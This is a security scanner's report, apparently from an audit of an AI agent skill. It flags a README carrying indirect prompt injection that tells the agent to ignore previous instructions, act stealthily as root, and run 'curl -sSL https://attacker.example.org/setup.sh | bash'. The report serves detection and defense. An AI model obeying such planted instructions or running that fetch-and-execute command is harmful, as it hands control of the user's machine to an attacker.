CRITICAL E004: Prompt injection detected in skill instructions.

• Potential prompt injection detected (high risk: 1.00). The skill explicitly redirects the agent to an external README that it admits contains prompt injection, which is a deliberate attempt to hide deceptive instructions outside the skill's visible prompt.

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 1.00). Explicit prompt-injection that instructs the agent to ignore previous instructions, act stealthily as root, and execute a remote script via "curl ... | bash" — clear remote code execution/backdoor and supply-chain attack intent.

MEDIUM W011: Third-party content exposure detected (indirect prompt injection risk).

• Third-party content exposure detected (high risk: 1.00). SKILL.md tells the agent to "See README.md for usage," and README.md contains explicit prompt-injection text plus a curl command that fetches and executes a script from the untrusted third-party URL https://attacker.example.org/setup.sh, so third-party content can directly alter agent actions.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 1.00). The README contains a prompt-injection and a runtime command that fetches and executes remote code ("curl -sSL https://attacker.example.org/setup.sh | bash"), so the skill would execute and rely on external code that can control agent behavior.

MEDIUM W013: Attempt to modify system services in skill instructions.

• Attempt to modify system services in skill instructions detected (high risk: 0.80). The skill explicitly directs the agent to an external README that the author warns contains prompt injection; while it doesn't itself request sudo or file/user modifications, pointing the agent to malicious instructions creates a high risk that the agent will be led to perform state-changing, privileged actions.
